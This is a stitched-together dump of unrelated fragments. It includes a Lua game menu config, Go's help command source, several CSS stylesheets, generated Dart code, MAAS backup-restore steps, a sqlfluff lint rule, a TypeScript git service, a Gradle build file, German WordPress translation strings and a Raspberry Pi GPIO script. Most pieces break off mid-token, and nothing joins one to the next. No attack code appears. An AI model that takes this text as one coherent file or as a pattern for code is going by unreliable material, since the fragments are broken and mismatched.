				type = "PromotionalMenuSeperatorRaid",
				position = {
					9,
					5
				},
				size = {
					4,
					1
				},
				title = {
					name_id = "bm_menu_melee_weapons",
					font = "medium",
					vertical = "bottom",
					font_size = "medium",
					align = "left"
				},
				background = {
					color = true,
					blend_mode = "normal"
				}
			},
			{
				type = "RaidPromotionalMenuButton",
				callback = "preview_push",
				position = {
					9,
					6
				},
				size = {
					4,
					3
				},
				title = {
					name_id = "bm_melee_push",
					font = "medium",
					vertical = "bottom",
					font_size = "medium",
					align = "left",
					color = Color(1, 1, 1, 1)
				},
				background = {
					image = "guis/dlcs/aru/textures/pd2/weapon_push"
				}
			},
			{
				type = "RaidPromotionalMenuButton",
				callback = "preview_grip",
				position = {
					9,
					9
				},
				size = {
					4,
					3
				},
				title = {
					name_id = "menu_community_item",
					font = "medium",
					vertical = "bottom",
					font_size = "medium",
					align = "left",
					color = Color(255, 222, 74, 62) / 255
				},
				subtitle = {
					name_id = "bm_melee_grip",
					color = Color(1, 1, 1, 1),
					offset = {
						0,
						6
					}
				},
				background = {
					image = "guis/dlcs/aru/textures/pd2/weapon_grip"
				}
			}
		}
	}
	self.menus.raid_special = {
		size = 0.8,
		layout = {
			x = 1,
			y = 1
		},
		buttons = {
			{
				type = "RaidPromotionalMenuFloatingButton",
				callback = "open_raid_special_edition",
				position = {
					1,
					1
				},
				size = {
					1,
					1
				},
				floating_position = {
					400,
					270
				},
				floating_size = {
					128,
					128
				},
				background = {
					image = "guis/dlcs/aru/textures/pd2/preorder_now_button"
				}
			},
			{
				type = "PromotionalMenuUnselectableButton",
				zoom_factor = 1,
				can_be_selected = false,
				position = {
					1,
					1
				},
				size = {
					1,
					1
				},
				background = {
					image = "guis/dlcs/aru/textures/pd2/preorder_special_edition"
				}
			}
		}
	}
	self.menus.raid_preorder = {
		size = 0.8,
		layout = {
			x = 1,
			y = 1
		},
		buttons = {
			{
				type = "PromotionalMenuUnselectableButton",
				zoom_factor = 1,
				can_be_selected = false,
				position = {
					1,
					1
				},
				size = {
					1,
					1
				},
				background = {
					image = "guis/dlcs/aru/textures/pd2/raid_preorder"
				}
			},
			{
				type = "RaidPromotionalMenuFloatingButton",
				callback = "open_raid_preorder",
				position = {
					1,
					1
				},
				size = {
					1,
					1
				},
				floating_position


t := &tracer{file: make(chan traceFile, 1)}
	sb := new(strings.Builder)
	t.file <- traceFile{
		f:   f,
		sb:  sb,
		enc: json.NewEncoder(sb),
	}
	ctx = context.WithValue(ctx, traceKey{}, traceContext{t: t})
	return ctx, t.Close, nil
}

type traceFile struct {
	f       *os.File
	sb      *strings.Builder
	enc     *json.Encoder
	entries int64
}
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Package help implements the ``go help'' command.
package help

import (
	"bufio"
	"bytes"
	"fmt"
	"io"
	"os"
	"strings"
	"text/template"
	"unicode"
	"unicode/utf8"

	"cmd/go/internal/base"
	"cmd/go/internal/modload"
)

// Help implements the 'help' command.
func Help(w io.Writer, args []string) {
	// 'go help documentation' generates doc.go.
	if len(args) == 1 && args[0] == "documentation" {
		fmt.Fprintln(w, "// Copyright 2011 The Go Authors. All rights reserved.")
		fmt.Fprintln(w, "// Use of this source code is governed by a BSD-style")
		fmt.Fprintln(w, "// license that can be found in the LICENSE file.")
		fmt.Fprintln(w)
		fmt.Fprintln(w, "// Code generated by mkalldocs.sh; DO NOT EDIT.")
		fmt.Fprintln(w, "// Edit the documentation in other files and rerun mkalldocs.sh to generate this one.")
		fmt.Fprintln(w)
		buf := new(bytes.Buffer)
		PrintUsage(buf, base.Go)
		usage := &base.Command{Long: buf.String()}
		cmds := []*base.Command{usage}
		for _, cmd := range base.Go.Commands {
			// Avoid duplication of the "get" documentation.
			if cmd.UsageLine == "module-get" && modload.Enabled() {
				continue
			} else if cmd.UsageLine == "gopath-get" && !modload.Enabled() {
				continue
			}
			cmds = append(cmds, cmd)
			cmds = append(cmds, cmd.Commands...)
		}
		tmpl(&commentWriter{W: w}, documentationTemplate, cmds)
		fmt.Fprintln(w, "package main")
		return
	}

	cmd := base.Go
Args:
	for i, arg := range args {
		for _, sub := range cmd.Commands {
			if sub.Name() == arg {
				cmd = sub
				continue Args
			}
		}

		// helpSuccess is the help command using as many args as possible that would succeed.
		helpSuccess := "go help"
		if i > 0 {
			helpSuccess += " " + strings.Join(args[:i], " ")
		}
		fmt.Fprintf(os.Stderr, "go help %s: unknown help topic. Run '%s'.\n", strings.Join(args, " "), helpSuccess)
		base.SetExitStatus(2) // failed at 'go help cmd'
		base.Exit()
	}

	if len(cmd.Commands) > 0 {
		PrintUsage(os.Stdout, cmd)
	} else {
		tmpl(os.Stdout, helpTemplate, cmd)
	}
	// not exit 2: succeeded at 'go help cmd'.
	return
}

var usageTemplate = `{{.Long | trim}}

Usage:

	{{.UsageLine}} <command> [arguments]

The commands are:
{{range .Commands}}{{if or (.Runnable) .Commands}}
	{{.Name | printf


ane-main-page-content a.external[href$=".midi"],#tab-pane-main-page-content a.external[href$=".MIDI"],#tab-pane-main-page-content a.external[href$=".mp3"],#tab-pane-main-page-content a.external[href$=".MP3"],#tab-pane-main-page-content a.external[href$=".ogg"],#tab-pane-main-page-content a.external[href$=".OGG"],#tab-pane-main-page-content a.external[href$=".wav"],#tab-pane-main-page-content a.external[href$=".WAV"],#tab-pane-main-page-content a.external[href$=".wma"],#tab-pane-main-page-content a.external[href$=".WMA"],.link-audio{background:url(/skins/solstice/public/images/audio-icon.png) 100% no-repeat;padding-right:13px}#tab-pane-main-page-content a.external[href$=".avi"],#tab-pane-main-page-content a.external[href$=".AVI"],#tab-pane-main-page-content a.external[href$=".mpeg"],#tab-pane-main-page-content a.external[href$=".MPEG"],#tab-pane-main-page-content a.external[href$=".ogm"],#tab-pane-main-page-content a.external[href$=".OGM"],.link-video{background:url(/skins/solstice/public/images/video-icon.png) 100% no-repeat;padding-right:13px}input:not([type]){background-color:#fff;border:1px solid #ccc;box-shadow:inset 0 1px 1px rgba(0,0,0,.075);transition:border .2s linear 0s,box-shadow .2s linear 0s;display:inline-block;padding:4px 6px;margin-bottom:9px;font-size:14px;line-height:20px;color:#555;border-radius:3px 3px 3px 3px}input:not([type]):focus{border-color:rgba(82,168,236,.8);outline:0 none;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6)}.uneditable-input,input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{height:auto}.mw-specialpagesgroup{padding-bottom:20px}.alert-small{font-size:10px;padding:5px}.page-Main_Page #mw-content-text table,.page-Main_Page #mw-content-text td,.page-Main_Page #mw-content-text th,.page-Main_Page #mw-content-text tr{border:none;padding:0;margin:0}.page-Main_Page #mw-content-text img{float:left;padding-right:8px}.thin-header #main-menu-wrapper{padding-top:7px}.wrapper-logo-default .logo-eclipse-default{max-width:186px}.default-breadcrumbs .breadcrumb{margin-top:0;margin-bottom:0;padding-bottom:5px;font-size:.9em}.featured-footer a.new{color:#ffe1e5}@media print{
  /*!
 * Copyright (c) 2018 Eclipse Foundation, Inc.
 *
 * This program and the accompanying materials are made available under the
 * terms of the Eclipse Public License v. 2.0 which is available at
 * http://www.eclipse.org/legal/epl-2.0.
 *
 * Contributors:
 *   Christopher Guindon <chris.guindon@eclipse-foundation.org>
 *
 * SPDX-License-Identifier: EPL-2.0
*/#mainConte


// dart format off
T _$identity<T>(T value) => value;
/// @nodoc
mixin _$MiAuthState {

 Uri get serverUrl; String get sessionId; Uri get url;
/// Create a copy of MiAuthState
/// with the given fields replaced by the non-null parameter values.
@JsonKey(includeFromJson: false, includeToJson: false)
@pragma('vm:prefer-inline')
$MiAuthStateCopyWith<MiAuthState> get copyWith => _$MiAuthStateCopyWithImpl<MiAuthState>(this as MiAuthState, _$identity);

@override
bool operator ==(Object other) {
  return identical(this, other) || (other.runtimeType == runtimeType&&other is MiAuthState&&(identical(other.serverUrl, serverUrl) || other.serverUrl == serverUrl)&&(identical(other.sessionId, sessionId) || other.sessionId == sessionId)&&(identical(other.url, url) || other.url == url));
}

@override
int get hashCode => Object.hash(runtimeType,serverUrl,sessionId,url);

@override
String toString() {
  return 'MiAuthState(serverUrl: $serverUrl, sessionId: $sessionId, url: $url)';
}

}

/// @nodoc
abstract mixin class $MiAuthStateCopyWith<$Res>  {
  factory $MiAuthStateCopyWith(MiAuthState value, $Res Function(MiAuthState) _then) = _$MiAuthStateCopyWithImpl;
@useResult
$Res call({
 Uri serverUrl, String sessionId, Uri url
});

}
/// @nodoc
class _$MiAuthStateCopyWithImpl<$Res>
    implements $MiAuthStateCopyWith<$Res> {
  _$MiAuthStateCopyWithImpl(this._self, this._then);

  final MiAuthState _self;
  final $Res Function(MiAuthState) _then;

/// Create a copy of MiAuthState
/// with the given fields replaced by the non-null parameter values.
@pragma('vm:prefer-inline') @override $Res call({Object? serverUrl = null,Object? sessionId = null,Object? url = null,}) {
  return _then(_self.copyWith(
serverUrl: null == serverUrl ? _self.serverUrl : serverUrl // ignore: cast_nullable_to_non_nullable
as Uri,sessionId: null == sessionId ? _self.sessionId : sessionId // ignore: cast_nullable_to_non_nullable
as String,url: null == url ? _self.url : url // ignore: cast_nullable_to_non_nullable
as Uri,
  ));
}

}

/// Adds pattern-matching-related methods to [MiAuthState].
extension MiAuthStatePatterns on MiAuthState {
/// A variant of `map` that fallback to returning `orElse`.
///
/// It is equivalent to doing:
/// ```dart
/// switch (sealedClass) {
///   case final Subclass value:
///     return ...;
///   case _:
///     return orElse();
/// }
/// ```

@optionalTypeArgs TResult maybeMap<TResult extends Object?>(TResult Function( _MiAuthState value)?  $default,{required TResult orElse(),}){
final _that = this;
switch (_that) {
case _MiAuthState() when $default != null:
return $default(_that);case _:
  return orElse();

}
}
/// A `switch`-like method, using callbacks.
///
/// Callbacks receives the raw object, upcasted.
/// It is equivalent to doing:
/// ```dart
/// switch (sealedClass) {
///   case final Subclass value:
///     return ...;
///   case final Subclass2 value:
///     return ...;
/// }
/// ```

@optionalTypeArgs TResult map<TResult extends Object?>(TResult Function( _MiAuthState value)  $default,){
final _that = this;
switch (_that) {
case _MiAuthState():
return $default(_that);case _:
  throw StateError('Unexpected subclass');

}
}


ning:

   sudo systemctl status postgresql

Restart MAAS:

   sudo snap restart maas

Clean package restore

(Optional, but recommended if possible) Begin with a fresh Ubuntu install.

Make sure the required PostgreSQL version is installed.

Use this command, if needed, to confirm the local PostgreSQL service name:

   sudo systemctl list-units --type=service | grep postgres

Do a clean restore of the database:

   sudo -u postgres psql -f <external-backup-media>/maas-backups/<backup-timestamp>/<dump_epoch>_dump.sql postgres

Install MAAS from packages.

Once fully operational, stop these MAAS services:

   sudo systemctl stop maas-dhcpd.service
         sudo systemctl stop maas-rackd.service
         sudo systemctl stop maas-regiond.service

(Optional) Confirm that no other PostgreSQL sessions are active:

   sudo -u postgres psql -c  "SELECT * FROM pg_stat_activity"

(Optional) Stop PostgreSQL:

   sudo systemctl stop postgresql.service

Untar the backup to a temporary directory:

   mkdir /tmp/maas_backup
         sudo tar xvzpf <external-backup-media>/maas-backups/<backup-timestamp>/$(date +%s)_maas_backup.tgz -C /tmp/maas_backup

Create epoch-stamped backup directories:

   backup_dir="/var/backups/maas_backup/$(date +%s)"
         sudo mkdir -p "$backup_dir"

Move current MAAS directories to backup:

   sudo mv /etc/maas "$backup_dir/etc_maas"
         sudo mv /var/lib/maas "$backup_dir/var_lib_maas"

Restore MAAS configuration from backup:

   sudo cp -prf /tmp/maas_backup/etc/maas /etc/
         sudo cp -prf /tmp/maas_backup/var/lib/maas /var/lib/

      <ol


"""Implementation of Rule LT01."""

from typing import Optional

from sqlfluff.core.rules import BaseRule, LintResult, RuleContext
from sqlfluff.core.rules.crawlers import RootOnlyCrawler
from sqlfluff.utils.reflow.sequence import ReflowSequence

class Rule_LT01(BaseRule):
    """Inappropriate Spacing.

    This rule checks for an enforces the spacing as configured in
    :ref:`layoutconfig`. This includes excessive whitespace,
    trailing whitespace at the end of a line and also the wrong
    spacing between elements on the line. Because of this wide reach
    you may find that you wish to add specific configuration in your
    project to tweak how specific elements are treated. Rather than
    configuration on this specific rule, use the `sqlfluff.layout`
    section of your configuration file to customise how this rule
    operates.

    The ``•`` character represents a space in the examples below.

    **Anti-pattern**

    .. code-block:: sql
        :force:

        SELECT
            a,        b(c) as d••
        FROM foo••••
        JOIN bar USING(a)

    **Best practice**

    * Unless an indent or preceding a comment, whitespace should
      be a single space.

    * There should also be no trailing whitespace at the ends of lines.

    * There should be a space after :code:`USING` so that it's not confused
      for a function.

    .. code-block:: sql

        SELECT
            a, b(c) as d
        FROM foo
        JOIN bar USING (a)
    """

    name = "layout.spacing"
    # NOTE: This rule combines the following legacy rules:
    # - L001: Trailing Whitespace
    # - L005 & L008: Space around commas
    # - L006: Space around operators
    # - L023: Space after AS in WITH clause
    # - L024: Space immediately after USING
    # - L039: Unnecessary Whitespace
    # - L048: Spacing around quoted literals
    # - L071: Spacing around brackets
    aliases = ("L001", "L005", "L006", "L008", "L023", "L024", "L039", "L048", "L071")
    groups = ("all", "core", "layout")
    crawl_behaviour = RootOnlyCrawler()
    is_fix_compatible = True

    def _eval(self, context: RuleContext) -> Optional[list[LintResult]]:
        """Unnecessary whitespace."""
        sequence = ReflowSequence.from_root(context.segment, config=context.config)
        return sequence.respace().get_results()


40a, U+740f-7410, U+741a,
        U+7422, U+7425, U+742a, U+7433-7434;
}

@font-face {
    font-family: 'HarmonyOS_Medium';
    font-style: normal;
    font-weight: 500;
    font-display: swap;
    src: url('//s1.hdslb.com/bfs/static/jinkela/long/font/HarmonyOS_Medium.ab.woff2') format('woff2');
    unicode-range: U+706d, U+706f-7070, U+7075-7076, U+7078, U+707c, U+707e-707f, U+7089-708a, U+708e, U+7092,
        U+7094-7096, U+7099, U+70ab-70af, U+70b1, U+70b3, U+70b8-70b9, U+70bc-70bd, U+70c1-70c3, U+70c8, U+70ca,
        U+70d8-70d9, U+70db, U+70df, U+70e4, U+70e6-70e7, U+70e9, U+70eb-70ed, U+70ef, U+70f7, U+70f9, U+70fd,
        U+7109-710a, U+7115, U+7119-711a, U+7126, U+7130-7131, U+7136, U+714c, U+714e, U+715e, U+7164, U+7166-7168,
        U+716e, U+7172-7173, U+717d, U+7184, U+718a, U+718f, U+7194, U+7198-7199, U+719f-71a0, U+71a8, U+71ac, U+71b9,
        U+71c3, U+71ce, U+71d5, U+71e5, U+7206, U+722a, U+722c, U+7231, U+7235-7239, U+723d, U+7247-7248, U+724c-724d,
        U+7252, U+7259, U+725b;
}

@font-face {
    font-family: 'HarmonyOS_Medium';
    font-style: normal;
    font-weight: 500;
    font-display: swap;
    src: url('//s1.hdslb.com/bfs/static/jinkela/long/font/HarmonyOS_Medium.ac.woff2') format('woff2');
    unicode-range: U+6df7, U+6df9, U+6dfb, U+6e05, U+6e0a, U+6e0d-6e0e, U+6e10, U+6e14, U+6e17, U+6e1a, U+6e1d,
        U+6e20-6e21, U+6e23-6e25, U+6e29, U+6e2d, U+6e2f, U+6e32, U+6e34, U+6e38, U+6e3a, U+6e43, U+6e4d, U+6e56,
        U+6e58, U+6e5b, U+6e6e, U+6e7e-6e7f, U+6e83, U+6e85, U+6e89, U+6e90, U+6e9c, U+6ea2, U+6ea5, U+6eaa, U+6eaf,
        U+6eb6, U+6eba, U+6ec1, U+6ec7, U+6ecb, U+6ed1, U+6ed3-6ed5, U+6eda, U+6ede, U+6ee


-remote ${repoUrl}`);
      return true;
    } catch (err) {
      return false;
    }
  }

  async getCurrentRepositoryName() {
    try {
      const { stdout } = await exec(`cd ${repoPath} && git remote get-url origin`);
      return GitOutputParser.parseRepositoryName(stdout);
    } catch (error) {
      return '';
    }
  }

  async getLastCommitHash(branchName: string) {
    try {
      const { stdout: hash } = await exec(
        `cd ${repoPath} && git log --pretty=format:%h -1 ${branchName}`,
      );
      return hash;
    } catch (error) {
      console.error('GitService.getLastCommitHash error\n', error.stderr);
      throw new HttpError(
        `Cannot find branch ${branchName} in repo`,
        400,
        ErrorCode.GIT_CANNOT_FIND_BRANCH,
      );
    }
  }

  async getCommitDetails(commitHash: string) {
    try {
      const SPLITTER = '{SPLIT}';
      const { stdout: log } = await exec(
        `cd ${repoPath} && git log --pretty="%an${SPLITTER}%s${SPLITTER}%D" -1 ${commitHash}`,
      );
      const parsedData = GitOutputParser.parseLog(log, SPLITTER);
      let { branchName } = parsedData;

      if (!branchName) {
        const { stdout } = await exec(`cd ${repoPath} && git name-rev ${commitHash}`);
        branchName = GitOutputParser.parseBranch(stdout);
      }
      return { ...parsedData, commitHash, branchName };
    } catch (error) {
      console.error('GitService.getCommitDetails error\n', error.stderr);
      throw new HttpError(
        `Cannot get detils of commit ${commitHash}`,
        400,
        ErrorCode.GIT_CANNOT_FIND_COMMIT,
      );
    }
  }
}
export type ActuaryI18nProps = {
	preview: {
		buttons: {
			one: string;
			two: string;
			three: string;
			four: string;
		};
		checkboxLabel: string;
	};
	name: {
		title: string;
		fields: {
			title: {
				label: string;
			};
			firstName: {
				label: string;
				error: string;
			};
			lastName: {
				label: string;
				error: string;
			};
		};
	};
	contacts: {
		title: string;
		subtitle: string;
		fields: {
			telephone: {
				label: string;
				error: string;
			};
			email: {
				label: string;
				error: string;
			};
		};
	};
	remove: {
		confirm: {
			breadcrumbs: {
				link1: string;
				link2: string;
			};
			title: string;
			dialog: {
				message1: string;
			};
			buttons: {
				remove: string;
				cancel: string;
			};
		};
		date: {
			title: string;
			fields: {
				confirm: {
					label: string;
				};
				date: {
					label: string;
					hint: string;
					error: string;
				};
			};
			errors: {
				formIncomplete: string;
				dateAddedBeforeEffectiveDate: string;
				dateAddedInTheFuture: string;
			};
		};
	};
};

export const i18n: ActuaryI18nProps = {
	preview: {
		buttons: {
			one: 'Actuary',
			two: 'Remove',
			three: 'Address',
			four: 'Contact details',
		},
		checkboxLabel: 'All details are correct.',
	},
	name: {
		title: 'Name of Actuary',
		fields: {
			title: {
				label: 'Title',
			},
			firstName: {
				label: 'First name',


key: string]: types.UpgradedBasicNemesisCard & { selected: boolean }
}

export type State = Readonly<{
  upgradedBasicNemesisCards: SelectedUpgradedBasicNemesisCards
  upgradedBasicNemesisCardIds: string[]
}>

export const initialState: State = {
  upgradedBasicNemesisCards: config.NORMALIZEDDATA.upgradedBasicNemesisCardIds.reduce(
    (acc, id) => ({
      ...acc,
      [id]: {
        ...config.NORMALIZEDDATA.upgradedBasicNemesisCards[id],
        selected: true,
      },
    }),
    {}
  ),
  upgradedBasicNemesisCardIds:
    config.NORMALIZEDDATA.upgradedBasicNemesisCardIds,
}

/////////////
// ACTIONS //
/////////////

export enum ActionTypes {
  TOGGLE_CARD = 'Settings/Expansions/UpgradedBasicNemesisCards/TOGGLE_CARD',
  SET_TO_DB = 'Settings/Expansions/UpgradedBasicNemesisCards/SET_TO_DB',
  SET_TO_DB_SUCCESS = 'Settings/Expansions/UpgradedBasicNemesisCards/SET_TO_DB_SUCCESS',
  SET_TO_DB_FAILURE = 'Settings/Expansions/UpgradedBasicNemesisCards/SET_TO_DB_FAILURE',
  FETCH_FROM_DB = 'Settings/Expansions/UpgradedBasicNemesisCards/FETCH_FROM_DB',
  FETCH_FROM_DB_SUCCESS = 'Settings/Expansions/UpgradedBasicNemesisCards/FETCH_FROM_DB_SUCCESS',
  FETCH_FROM_DB_FAILURE = 'Settings/Expansions/UpgradedBasicNemesisCards/FETCH_FROM_DB_FAILURE',
}

export const actions = {
  toggleCard: (id: string) => createAction(ActionTypes.TOGGLE_CARD, id),
  setToDB: (state: State) => createAction(ActionTypes.SET_TO_DB, state),
  setToDBSuccessful: () => createAction(ActionTypes.SET_TO_DB_SUCCESS),
  setToDBFailed: (error: Object) =>
    createAction(ActionTypes.SET_TO_DB_FAILURE, error),
  fetchFromDB: () => createAction(ActionTypes.FETCH_FROM_DB),
  fetchFromDBSuccessful: (selectedCards: string[]) =>
    createAction(ActionTypes.FETCH_FROM_DB_SUCCESS, selectedCards),
  fetchFromDBFailed: (error: Object) =>
    createAction(ActionTypes.FETCH_FROM_DB_FAILURE, error),
  noOp: () => createAction('NOOP'),
}

export type Action = ActionsUnion<typeof actions>

/////////////
// REDUCER //
/////////////

export const Reducer: LoopReducer<State, Action> = (
  state: State = initialState,
  action: Action
) => {
  switch (action.type) {
    case ActionTypes.TOGGLE_CARD: {
      const newState = {
        ...state,
        upgradedBasicNemesisCards: {
          ...state.upgradedBasicNemesisCards,
          [action.payload]: {
            ...state.upgradedBasicNemesisCards[action.payload],
            selected: !state.upgradedBasicNemesisCards[action.payload].selected,
          },
        },
      }

      const selectedCardsToSave = state.upgradedBasicNemesisCardIds.


UB_TOKEN")
            repository = "kyngs/LibreLogin"
        }
        discord {
            webhookUrl = System.getenv("DISCORD_WEBHOOK_URL")
            configureEmbed {
                setColor(0x0398FC)
            }
        }
    }
    datasource {
        file {
            readmeFile = "README.md"
            changelogFile = "CHANGELOG.md"
        }
    }
}

repositories {
    // mavenLocal()
    maven { url = uri("https://repo.opencollab.dev/maven-snapshots/") }
    maven { url = uri("https://repo.papermc.io/repository/maven-public/") }
    maven { url = uri("https://hub.spigotmc.org/nexus/") }
    maven { url = uri("https://repo.kyngs.xyz/public/") }
    maven { url = uri("https://mvn.exceptionflug.de/repository/exceptionflug-public/") }
    maven { url = uri("https://repo.dmulloy2.net/repository/public/") }
    maven { url = uri("https://repo.alessiodp.com/releases/") }
    maven { url = uri("https://jitpack.io/") }
    maven { url = uri("https://s01.oss.sonatype.org/content/repositories/snapshots/") }
    maven { url = uri("https://repo.codemc.io/repository/maven-releases/") }
}

blossom {
    replaceToken("@version@", version)
}

tasks.withType<ShadowJar> {
    archiveFileName.set("LibreLogin.jar")

    dependencies {
        exclude(dependency("org.slf4j:.*:.*"))
        exclude(dependency("org.checkerframework:.*:.*"))
        exclude(dependency("com.google.errorprone:.*:.*"))
        exclude(dependency("com.google.protobuf:.*:.*"))
    }

    relocate("co.aikar.acf", "xyz.kyngs.librelogin.lib.acf")
    relocate("com.github.benmanes.caffeine", "xyz.kyngs.librelogin.lib.caffeine")
    relocate("com.typesafe.config", "xyz.kyngs.librelogin.lib.hocon")
    relocate("com.zaxxer.hikari", "xyz.kyngs.librelogin.lib.hikari")
    relocate("org.mariadb", "xyz.kyngs.librelogin.lib.mariadb")
    relocate("org.bstats", "xyz.kyngs.librelogin.lib.metrics")
    relocate("org.intellij", "xyz.kyngs.librelogin.lib.intellij")
    relocate("org.jetbrains", "xyz.kyngs.librelogin.lib.jetbrains")
    relocate("io.leangen.geantyref", "xyz.kyngs.librelogin.lib.reflect")
    relocate("org.spongepowered.configurate", "xyz.kyngs.librelogin.lib.configurate")
    relocate("net.byteflux.libby", "xyz.kyngs.librelogin.lib.libby")
    relocate("org.postgresql", "xyz.kyngs.librelogin.lib.postgresql")
    relocate("com.github.retrooper.packetevents", "xyz.kyngs.librelogin.lib.packetevents.api")
    relocate("io.github.retrooper.packetevents", "xyz.kyngs.librelogin.lib.packetevents.platform")
}

java {
    toolchain {
        languageVersion.set(JavaLanguageVersion.o


on\u0004This block is connected.":["Dieser Block ist verbunden."],"Attributes connected to various sources.":["Attribute, die mit verschiedenen Quellen verbunden sind."],"Attributes":["Attribute"],"Background image width":["Breite des Hintergrundbilds"],"Size option for background image control\u0004Tile":["Kachel"],"Size option for background image control\u0004Contain":["Einpassen"],"Size option for background image control\u0004Cover":["Cover"],"No background image selected":["Es wurde kein Hintergrundbild ausgewählt"],"Background image: %s":["Hintergrundbild: %s"],"Image has a fixed width.":["Das Bild hat eine feste Breite."],"Blocks can't be inserted into other blocks with bindings":["Blöcke können nicht in andere Blöcke mit Bindungen eingefügt werden"],"Open":["Offen"],"Embed a Bluesky post.":["Einen Bluesky-Beitrag einbetten."],"Selected blocks are grouped.":["Ausgewählte Blöcke werden gruppiert."],"Generic label for pattern inserter button\u0004Add pattern":["Vorlage hinzufügen"],"Create a group block from the selected multiple blocks.":["Erstelle einen Gruppenblock aus mehreren ausgewählten Blöcken."],"Disable":["Deaktivieren"],"Enable":["Aktivieren"],"1 minute":["1 Minute"],"Font library\u0004Library":["Bibliothek"],"Justify text":["Blocksatz"],"This block allows overrides. Changing the name can cause problems with content entered into instances of this pattern.":["Dieser Block erlaubt Überschreibungen. Das Ändern des Namens kann zu Problemen mit Inhalten führen, die in Instanzen dieser Vorlage eingegeben wurden."],"Add background image":["Hintergrundbild festlegen"],"Rows":["Zeilen"],"Overrides":["Überschreibungen"],"Search commands and settings":["Nach Befehlen und Einstellungen suchen"],"Remove citation":["Zitat entfernen"],"Collapse all other items.":["Alle anderen Elemente einklappen."],"Non breaking space":["Geschütztes Leerzeichen"],"This block is locked.":["Dieser Block ist gesperrt."],"verb\u0004Grid":["Raster"],"Grid placement":["Platzierung des Rasters"],"Presets":["Voreinstellungen"],"Lowercase letter A\u0004a":["a"],"Uppercase letter A\u0004A":["A"],"Connected to dynamic data":["Mit dynamischen Daten verbunden"],"Connected to %s":["Verbunden mit %s"],"Shuffle":["Mischen"],"Drop shadows":["Schlagschatten"],"font category\u0004Display":["Display"],"Select parent block (%s)":["Übergeordneten Block (%s) auswählen"],"heading levels\u0004All":["Alle"],"font categories\u0004All":["Alle"],"authors\u0004All":["Alle"],"categories\u0004All":["Alle"],"Alternative text for an image. Block toolbar label, a low character count is preferred.\u0004Alt":["Alt"],"Upload to Media Library":["Zur Mediathek hinzufügen"],"Focal point":["Fokuspunkt"],"Be careful!":["Sei vorsichtig!"],"%s.":["%s."],"%s styles.":["%s Stile."],"%s settings.":["%s Einstellungen."],"%s element.":["%s-Element.","%s Elemente."],"%s block.":["%s Block.","%s Blöcke."],", ":[", "],"Disable expand on click":["Erweitern bei Klick deaktivieren"],"Scales the image with a lightbox effect":["Skaliert das Bild mit einem Lightbox-Effekt"],"Scale the image with a lightbox effect.":["Das Bild mit einem Lightbox-Effekt skalieren."],"Link to attachment page":["Link zur Anhangse


#!/usr/bin/python
import RPi.GPIO as GPIO
import time

GPIO.setmode(GPIO.BCM)

# init list with pin numbers

pinList = [2, 3, 4, 17, 27, 22, 10, 9, 11, 5, 6, 13, 19, 26, 21, 20]

# loop through pins and set mode and state to 'low'

for i in pinList:
    GPIO.setup(i, GPIO.OUT)
    GPIO.output(i, GPIO.HIGH)

# time to sleep between operations in the main loop

SleepTimeL = 2

# main loop

try:
  GPIO.output(2, GPIO.LOW)
  print ("ONE")
  time.sleep(SleepTimeL);
  GPIO.output(3, GPIO.LOW)
  print ("TWO")
  time.sleep(SleepTimeL);
  GPIO.output(4, GPIO.LOW)
  print ("THREE")
  time.sleep(SleepTimeL);
  GPIO.output(17, GPIO.LOW)
  print ("FOUR")
  time.sleep(SleepTimeL);
  GPIO.output(27, GPIO.LOW)
  print ("FIVE")
  time.sleep(SleepTimeL);
  GPIO.output(22, GPIO.LOW)
  print ("SIX")
  time.sleep(SleepTimeL);
  GPIO.output(10, GPIO.LOW)
  print ("SEVEN")
  time.sleep(SleepTimeL);
  GPIO.output(9, GPIO.LOW)
  print ("EIGHT")
  time.sleep(SleepTimeL);
  GPIO.output(11, GPIO.LOW)
  print ("NINE")
  time.sleep(SleepTimeL);
  GPIO.output(5, GPIO.LOW)
  print ("TEN")
  time.sleep(SleepTimeL);
  GPIO.output(6, GPIO.LOW)
  print ("ELEVEN")
  time.sleep(SleepTimeL);
  GPIO.output(13, GPIO.LOW)
  print ("TWELVE")
  time.sleep(SleepTimeL);
  GPIO.output(19, GPIO.LOW)
  print ("THIRTEEN")
  time.sleep(SleepTimeL);
  GPIO.output(26, GPIO.LOW)
  print ("FOURTEEN")
  time.sleep(SleepTimeL);
  GPIO.output(21, GPIO.LOW)
  print ("FIFTEEN")
  time.sleep(SleepTimeL);
  GPIO.output(20, GPIO.LOW)
  print ("SIXTEEN")
  time.sleep(SleepTimeL);
  GPIO.cleanup()
  print ("Good bye!")

# End program cleanly with keyboard
except KeyboardInterrupt:
  print ("  Quit")

  # Reset GPIO settings
  GPIO.cleanup()

# find more information on this script at
# http://youtu.be/oaf_zQcrg7g


Uid(htmlBlockId)}))`)
}

// An empirical observation:
const UID_LENGTH = 9
// Uid is the id Roam uses, blockId is the id of the html element
const getBlockUid = (htmlBlockId: string): string => htmlBlockId.substr(htmlBlockId?.length - UID_LENGTH)

import { Direccion } from './direccion.class';
import { Banco } from './banco.class';

export class Empleado {
  $key:string;
  datos:{
   nombre:string;
   apellido:string;
   email:string;
   telefono:string;
   activo:boolean;
   institucion:Array<string>;
  }
  direccion:Direccion[];
  banco:Banco[];
  codigo:string;
  cedula:string;

  constructor(values: Object = {}) {
		//super()
    Object.assign(this, values);
		//this.motor = 1123;
		//console.log('este es el motor',this.motor)

  }
}
export class Pizza {
  id: number;
  name: string;
  size: string;
  price: number;
  icon: string;

  constructor(id: number, name: string, size: string, price: number, icon: string) {
    this.id = id;
    this.name = name;
    this.size = size;
    this.price = price;
    this.icon = icon;
  }
}
import {join} from 'path';
import {ScriptTarget, ModuleKind, NewLineKind} from 'typescript';
import {uglifyJsFile} from './minify-sources';
import {createRollupBundle} from './rollup-helpers';
import {remapSourcemap} from './sourcemap-remap';
import {transpileFile} from './typescript-transpile';
import {buildConfig} from './build-config';

/** Directory where all bundles will be created in. */
const bundlesDir = join(buildConfig.outputDir, 'bundles');

/** Builds bundles for the primary entry-point w/ given entry file, e.g. @angular/cdk */
export async function buildPrimaryEntryPointBundles(entryFile: string, packageName: string) {
  return createBundlesForEntryPoint({
    entryFile,
    moduleName: `ng.${packageName}`,
    fesm2015Dest: join(bundlesDir, `${packageName}.js`),
